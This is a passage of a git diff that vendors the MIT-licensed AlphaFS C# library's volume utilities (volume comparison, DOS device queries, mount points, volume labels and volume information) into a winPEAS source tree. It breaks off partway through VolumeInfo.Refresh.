* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Diagnostics.CodeAnalysis;
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS] Determines whether the volume of two file system objects is the same, by comparing their serial numbers.</summary>
|
||||
/// <param name="path1">The first filesystem object with full path information.</param>
|
||||
/// <param name="path2">The second file system object with full path information.</param>
|
||||
/// <returns><c>true</c> if both filesytem objects reside on the same volume, <c>false</c> otherwise.</returns>
|
||||
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")]
|
||||
[SecurityCritical]
|
||||
public static bool IsSameVolume(string path1, string path2)
|
||||
{
|
||||
try
|
||||
{
|
||||
var volInfo1 = new VolumeInfo(GetVolumePathName(path1), true, true);
|
||||
var volInfo2 = new VolumeInfo(GetVolumePathName(path2), true, true);
|
||||
|
||||
return volInfo1.SerialNumber.Equals(volInfo2.SerialNumber) || volInfo1.Guid.Equals(volInfo2.Guid, StringComparison.OrdinalIgnoreCase);
|
||||
}
|
||||
catch { }
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
39
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.IsVolume.cs
vendored
Normal file
39
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.IsVolume.cs
vendored
Normal file
@@ -0,0 +1,39 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS] Determines whether the specified volume name is a defined volume on the current computer.</summary>
|
||||
/// <param name="volumeMountPoint">
|
||||
/// A path to a volume. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\".
|
||||
/// </param>
|
||||
/// <returns><c>true</c> on success, <c>false</c> otherwise.</returns>
|
||||
[SecurityCritical]
|
||||
public static bool IsVolume(string volumeMountPoint)
|
||||
{
|
||||
return !Utils.IsNullOrWhiteSpace(GetVolumeGuid(volumeMountPoint));
|
||||
}
|
||||
}
|
||||
}
|
||||
164
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.QueryDosDevice.cs
vendored
Normal file
164
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.QueryDosDevice.cs
vendored
Normal file
@@ -0,0 +1,164 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using System.Text;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS] Retrieves a sorted list of all existing MS-DOS device names.</summary>
|
||||
/// <returns>An <see cref="IEnumerable{String}"/> sorted list of all existing MS-DOS device names.</returns>
|
||||
[SecurityCritical]
|
||||
public static IEnumerable<string> QueryAllDosDevices()
|
||||
{
|
||||
return QueryDosDeviceCore(null, true);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Retrieves the current mapping for a particular MS-DOS device name.</summary>
|
||||
/// <returns>The current mapping for a particular MS-DOS device name.</returns>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="FileNotFoundException"/>
|
||||
/// <param name="deviceName">An MS-DOS device name string specifying the target of the query, such as: "C:", "D:" or "\\?\Volume{GUID}".</param>
|
||||
[SecurityCritical]
|
||||
public static string QueryDosDevice(string deviceName)
|
||||
{
|
||||
if (Utils.IsNullOrWhiteSpace(deviceName))
|
||||
throw new ArgumentNullException("deviceName");
|
||||
|
||||
|
||||
var devName = QueryDosDeviceCore(deviceName, false).ToArray()[0];
|
||||
|
||||
return !Utils.IsNullOrWhiteSpace(devName) ? devName : null;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Retrieves the current mapping for a particular MS-DOS device name. The function can also obtain a list of all existing MS-DOS device names.</summary>
|
||||
/// <returns>An <see cref="IEnumerable{String}"/> sorted list of all existing MS-DOS device names or the .</returns>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="FileNotFoundException"/>
|
||||
/// <param name="deviceName">An MS-DOS device name string specifying the target of the query, such as: "C:", "D:" or "\\?\Volume{GUID}".</param>
|
||||
/// <param name="sort"><c>true</c> to sort the list with MS-DOS device names.</param>
|
||||
[SecurityCritical]
|
||||
internal static IEnumerable<string> QueryDosDeviceCore(string deviceName, bool sort)
|
||||
{
|
||||
// deviceName is allowed to be null: Retrieve a list of all existing MS-DOS device names.
|
||||
// The deviceName cannot have a trailing backslash.
|
||||
|
||||
if (!Utils.IsNullOrWhiteSpace(deviceName))
|
||||
{
|
||||
if (deviceName.StartsWith(Path.GlobalRootPrefix, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
yield return deviceName.Substring(Path.GlobalRootPrefix.Length);
|
||||
|
||||
yield break;
|
||||
}
|
||||
|
||||
|
||||
if (deviceName.StartsWith(Path.VolumePrefix, StringComparison.OrdinalIgnoreCase))
|
||||
|
||||
deviceName = deviceName.Substring(Path.LongPathPrefix.Length);
|
||||
|
||||
|
||||
deviceName = Path.RemoveTrailingDirectorySeparator(deviceName);
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
uint returnedBufferSize = 0;
|
||||
|
||||
var bufferSize = (uint) (sort ? NativeMethods.DefaultFileBufferSize : 64);
|
||||
|
||||
var sortedList = new List<string>(sort ? 256 : 0);
|
||||
|
||||
|
||||
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
|
||||
while (returnedBufferSize == 0)
|
||||
{
|
||||
var cBuffer = new char[bufferSize];
|
||||
|
||||
returnedBufferSize = NativeMethods.QueryDosDevice(deviceName, cBuffer, bufferSize);
|
||||
|
||||
var lastError = Marshal.GetLastWin32Error();
|
||||
|
||||
if (returnedBufferSize == 0)
|
||||
switch ((uint) lastError)
|
||||
{
|
||||
case Win32Errors.ERROR_MORE_DATA:
|
||||
case Win32Errors.ERROR_INSUFFICIENT_BUFFER:
|
||||
bufferSize *= 2;
|
||||
continue;
|
||||
|
||||
default:
|
||||
NativeError.ThrowException(lastError, deviceName);
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
var buffer = new StringBuilder((int) returnedBufferSize);
|
||||
|
||||
|
||||
for (var i = 0; i < returnedBufferSize; i++)
|
||||
{
|
||||
if (cBuffer[i] != Path.StringTerminatorChar)
|
||||
|
||||
buffer.Append(cBuffer[i]);
|
||||
|
||||
|
||||
else if (buffer.Length > 0)
|
||||
{
|
||||
var assembledPath = buffer.ToString();
|
||||
|
||||
assembledPath = !Utils.IsNullOrWhiteSpace(assembledPath) ? assembledPath : null;
|
||||
|
||||
|
||||
if (sort)
|
||||
sortedList.Add(assembledPath);
|
||||
|
||||
else
|
||||
yield return assembledPath;
|
||||
|
||||
|
||||
buffer.Length = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (sort)
|
||||
{
|
||||
foreach (var devName in sortedList.OrderBy(devName => devName))
|
||||
|
||||
yield return devName;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
82
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.SetVolumeMountPoint.cs
vendored
Normal file
82
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.SetVolumeMountPoint.cs
vendored
Normal file
@@ -0,0 +1,82 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Diagnostics.CodeAnalysis;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using winPEAS._3rdParty.AlphaFS;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS] Associates a volume with a Drive letter or a directory on another volume.</summary>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <param name="volumeMountPoint">
|
||||
/// The user-mode path to be associated with the volume. This may be a Drive letter (for example, "X:\")
|
||||
/// or a directory on another volume (for example, "Y:\MountX\").
|
||||
/// </param>
|
||||
/// <param name="volumeGuid">A <see cref="string"/> containing the volume <see cref="Guid"/>.</param>
|
||||
[SuppressMessage("Microsoft.Design", "CA1062:Validate arguments of public methods", MessageId = "1", Justification = "Utils.IsNullOrWhiteSpace validates arguments.")]
|
||||
[SecurityCritical]
|
||||
public static void SetVolumeMountPoint(string volumeMountPoint, string volumeGuid)
|
||||
{
|
||||
if (Utils.IsNullOrWhiteSpace(volumeMountPoint))
|
||||
throw new ArgumentNullException("volumeMountPoint");
|
||||
|
||||
if (Utils.IsNullOrWhiteSpace(volumeGuid))
|
||||
throw new ArgumentNullException("volumeGuid");
|
||||
|
||||
if (!volumeGuid.StartsWith(Path.VolumePrefix + "{", StringComparison.OrdinalIgnoreCase))
|
||||
throw new ArgumentException(Resources.Not_A_Valid_Guid, "volumeGuid");
|
||||
|
||||
|
||||
volumeMountPoint = Path.GetFullPathCore(null, false, volumeMountPoint, GetFullPathOptions.AsLongPath | GetFullPathOptions.AddTrailingDirectorySeparator | GetFullPathOptions.FullCheck);
|
||||
|
||||
|
||||
// This string must be of the form "\\?\Volume{GUID}\"
|
||||
volumeGuid = Path.AddTrailingDirectorySeparator(volumeGuid, false);
|
||||
|
||||
|
||||
// ChangeErrorMode is for the Win32 SetThreadErrorMode() method, used to suppress possible pop-ups.
|
||||
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
|
||||
{
|
||||
// SetVolumeMountPoint()
|
||||
// 2014-01-29: MSDN does not confirm LongPath usage but a Unicode version of this function exists.
|
||||
|
||||
// The string must end with a trailing backslash.
|
||||
var success = NativeMethods.SetVolumeMountPoint(volumeMountPoint, volumeGuid);
|
||||
|
||||
var lastError = Marshal.GetLastWin32Error();
|
||||
if (!success)
|
||||
{
|
||||
// If the lpszVolumeMountPoint parameter contains a path to a mounted folder,
|
||||
// GetLastError returns ERROR_DIR_NOT_EMPTY, even if the directory is empty.
|
||||
|
||||
if (lastError != Win32Errors.ERROR_DIR_NOT_EMPTY)
|
||||
NativeError.ThrowException(lastError, volumeGuid);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
114
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.VolumeLabel.cs
vendored
Normal file
114
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.VolumeLabel.cs
vendored
Normal file
@@ -0,0 +1,114 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS] Deletes the label of the file system volume that is the root of the current directory.</summary>
|
||||
[SecurityCritical]
|
||||
public static void DeleteCurrentVolumeLabel()
|
||||
{
|
||||
SetVolumeLabel(null, null);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Deletes the label of a file system volume.</summary>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <param name="rootPathName">The root directory of a file system volume. This is the volume the function will remove the label.</param>
|
||||
[SecurityCritical]
|
||||
public static void DeleteVolumeLabel(string rootPathName)
|
||||
{
|
||||
if (Utils.IsNullOrWhiteSpace(rootPathName))
|
||||
throw new ArgumentNullException("rootPathName");
|
||||
|
||||
|
||||
SetVolumeLabel(rootPathName, null);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Retrieve the label of a file system volume.</summary>
|
||||
/// <param name="volumePath">
|
||||
/// A path to a volume. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\".
|
||||
/// </param>
|
||||
/// <returns>The the label of the file system volume. This function can return <c>string.Empty</c> since a volume label is generally not mandatory.</returns>
|
||||
[SecurityCritical]
|
||||
public static string GetVolumeLabel(string volumePath)
|
||||
{
|
||||
return new VolumeInfo(volumePath, true, true).Name;
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Sets the label of the file system volume that is the root of the current directory.</summary>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <param name="volumeName">A name for the volume.</param>
|
||||
[SecurityCritical]
|
||||
public static void SetCurrentVolumeLabel(string volumeName)
|
||||
{
|
||||
if (Utils.IsNullOrWhiteSpace(volumeName))
|
||||
throw new ArgumentNullException("volumeName");
|
||||
|
||||
|
||||
var success = NativeMethods.SetVolumeLabel(null, volumeName);
|
||||
|
||||
var lastError = Marshal.GetLastWin32Error();
|
||||
if (!success)
|
||||
NativeError.ThrowException(lastError, volumeName);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Sets the label of a file system volume.</summary>
|
||||
/// <param name="volumePath">
|
||||
/// <para>A path to a volume. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\"</para>
|
||||
/// <para>If this parameter is <c>null</c>, the function uses the current drive.</para>
|
||||
/// </param>
|
||||
/// <param name="volumeName">
|
||||
/// <para>A name for the volume.</para>
|
||||
/// <para>If this parameter is <c>null</c>, the function deletes any existing label</para>
|
||||
/// <para>from the specified volume and does not assign a new label.</para>
|
||||
/// </param>
|
||||
[SecurityCritical]
|
||||
public static void SetVolumeLabel(string volumePath, string volumeName)
|
||||
{
|
||||
// rootPathName == null is allowed, means current drive.
|
||||
|
||||
// Setting volume label only applies to Logical Drives pointing to local resources.
|
||||
//if (!Path.IsLocalPath(rootPathName))
|
||||
//return false;
|
||||
|
||||
volumePath = Path.AddTrailingDirectorySeparator(volumePath, false);
|
||||
|
||||
// NTFS uses a limit of 32 characters for the volume label as of Windows Server 2003.
|
||||
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
|
||||
{
|
||||
var success = NativeMethods.SetVolumeLabel(volumePath, volumeName);
|
||||
|
||||
var lastError = Marshal.GetLastWin32Error();
|
||||
if (!success)
|
||||
NativeError.ThrowException(lastError, volumePath, volumeName);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
28
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.cs
vendored
Normal file
28
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.cs
vendored
Normal file
@@ -0,0 +1,28 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
/// <summary>[AlphaFS] Static class providing utility methods for working with Microsoft Windows devices and volumes.</summary>
|
||||
public static partial class Volume
|
||||
{
|
||||
}
|
||||
}
|
||||
380
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/VolumeInfo.cs
vendored
Normal file
380
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/VolumeInfo.cs
vendored
Normal file
@@ -0,0 +1,380 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
using System;
|
||||
using System.Diagnostics.CodeAnalysis;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using System.Text;
|
||||
using winPEAS._3rdParty.AlphaFS;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
/// <summary>Contains information about a filesystem Volume.</summary>
|
||||
[Serializable]
|
||||
[SecurityCritical]
|
||||
public sealed class VolumeInfo
|
||||
{
|
||||
[NonSerialized] private readonly bool _continueOnAccessError;
|
||||
[NonSerialized] private readonly SafeFileHandle _volumeHandle;
|
||||
[NonSerialized] private NativeMethods.VOLUME_INFO_FLAGS _volumeInfoAttributes;
|
||||
|
||||
|
||||
/// <summary>Initializes a VolumeInfo instance.</summary>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <param name="volumeName">A valid drive path or drive letter. This can be either uppercase or lowercase, 'a' to 'z' or a network share in the format: \\server\share.</param>
|
||||
[SuppressMessage("Microsoft.Design", "CA1062:Validate arguments of public methods", MessageId = "0", Justification = "Utils.IsNullOrWhiteSpace validates arguments.")]
|
||||
[SecurityCritical]
|
||||
public VolumeInfo(string volumeName)
|
||||
{
|
||||
if (Utils.IsNullOrWhiteSpace(volumeName))
|
||||
throw new ArgumentNullException("volumeName");
|
||||
|
||||
|
||||
if (!volumeName.StartsWith(Path.LongPathPrefix, StringComparison.Ordinal))
|
||||
volumeName = Path.IsUncPathCore(volumeName, false, false) ? Path.GetLongPathCore(volumeName, GetFullPathOptions.None) : Path.LongPathPrefix + volumeName;
|
||||
|
||||
else
|
||||
{
|
||||
volumeName = volumeName.Length == 1 ? volumeName + Path.VolumeSeparatorChar : Path.GetPathRoot(volumeName, false);
|
||||
|
||||
if (!volumeName.StartsWith(Path.GlobalRootPrefix, StringComparison.OrdinalIgnoreCase))
|
||||
volumeName = Path.GetPathRoot(volumeName, false);
|
||||
}
|
||||
|
||||
|
||||
if (Utils.IsNullOrWhiteSpace(volumeName))
|
||||
throw new ArgumentException(Resources.InvalidDriveLetterArgument, "volumeName");
|
||||
|
||||
|
||||
Name = Path.AddTrailingDirectorySeparator(volumeName, false);
|
||||
|
||||
_volumeHandle = null;
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Initializes a VolumeInfo instance.</summary>
|
||||
/// <param name="driveName">A valid drive path or drive letter. This can be either uppercase or lowercase, 'a' to 'z' or a network share in the format: "\\server\share".</param>
|
||||
/// <param name="refresh">Refreshes the state of the object.</param>
|
||||
/// <param name="continueOnException"><c>true</c> suppress any Exception that might be thrown as a result from a failure, such as unavailable resources.</param>
|
||||
[SecurityCritical]
|
||||
public VolumeInfo(string driveName, bool refresh, bool continueOnException) : this(driveName)
|
||||
{
|
||||
_continueOnAccessError = continueOnException;
|
||||
|
||||
if (refresh)
|
||||
Refresh();
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Initializes a VolumeInfo instance.</summary>
|
||||
/// <param name="volumeHandle">An instance to a <see cref="SafeFileHandle"/> handle.</param>
|
||||
[SecurityCritical]
|
||||
public VolumeInfo(SafeFileHandle volumeHandle)
|
||||
{
|
||||
_volumeHandle = volumeHandle;
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Initializes a VolumeInfo instance.</summary>
|
||||
/// <param name="volumeHandle">An instance to a <see cref="SafeFileHandle"/> handle.</param>
|
||||
/// <param name="refresh">Refreshes the state of the object.</param>
|
||||
/// <param name="continueOnException"><c>true</c> suppress any Exception that might be thrown as a result from a failure, such as unavailable resources.</param>
|
||||
[SecurityCritical]
|
||||
public VolumeInfo(SafeFileHandle volumeHandle, bool refresh, bool continueOnException) : this(volumeHandle)
|
||||
{
|
||||
_continueOnAccessError = continueOnException;
|
||||
|
||||
if (refresh)
|
||||
Refresh();
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/// <summary>Refreshes the state of the object.</summary>
|
||||
public void Refresh()
|
||||
{
|
||||
var volumeNameBuffer = new StringBuilder(NativeMethods.MaxPath + 1);
|
||||
var fileSystemNameBuffer = new StringBuilder(NativeMethods.MaxPath + 1);
|
||||
int maximumComponentLength;
|
||||
uint serialNumber;
|
||||
|
||||
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
|
||||
{
|
||||
// GetVolumeInformationXxx()
|
||||
// 2013-07-18: MSDN does not confirm LongPath usage but a Unicode version of this function exists.
|
||||
|
||||
uint lastError;
|
||||
|
||||
do
|
||||
{
|
||||
var success = null != _volumeHandle && NativeMethods.IsAtLeastWindowsVista
|
||||
|
||||
// GetVolumeInformationByHandle() / GetVolumeInformation()
|
||||
// 2013-07-18: MSDN does not confirm LongPath usage but a Unicode version of this function exists.
|
||||
|
||||
? NativeMethods.GetVolumeInformationByHandle(_volumeHandle, volumeNameBuffer, (uint) volumeNameBuffer.Capacity, out serialNumber, out maximumComponentLength, out _volumeInfoAttributes, fileSystemNameBuffer, (uint) fileSystemNameBuffer.Capacity)
|
||||
|
||||
// A trailing backslash is required.
|
||||
: NativeMethods.GetVolumeInformation(Path.AddTrailingDirectorySeparator(Name, false), volumeNameBuffer, (uint) volumeNameBuffer.Capacity, out serialNumber, out maximumComponentLength, out _volumeInfoAttributes, fileSystemNameBuffer, (uint) fileSystemNameBuffer.Capacity);
|
||||
|
||||
|
||||
lastError = (uint) Marshal.GetLastWin32Error();
|
||||
if (!success)
|
||||
{
|
||||
switch (lastError)
|
||||
{
|
||||
case Win32Errors.ERROR_NOT_READY:
|
||||
if (!_continueOnAccessError)
|
||||
throw new DeviceNotReadyException(Name, true);
|
||||
break;
|
||||
|
||||
case Win32Errors.ERROR_MORE_DATA:
|
||||
// With a large enough buffer this code never executes.
|
||||
volumeNameBuffer.Capacity = volumeNameBuffer.Capacity*2;
|
||||
fileSystemNameBuffer.Capacity = fileSystemNameBuffer.Capacity*2;
|
||||
break;
|
||||
|
||||
default:
|
||||
if (!_continueOnAccessError)
|
||||
NativeError.ThrowException(lastError, Name);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
else
|
||||
break;
|
||||
|
||||
} while (lastError == Win32Errors.ERROR_MORE_DATA);
|
||||
}
|
||||
|
||||
FullPath = Path.GetRegularPathCore(Name, GetFullPathOptions.None, false);
|
||||
Name = volumeNameBuffer.ToString();
|
||||
|
||||
FileSystemName = fileSystemNameBuffer.ToString();
|
||||
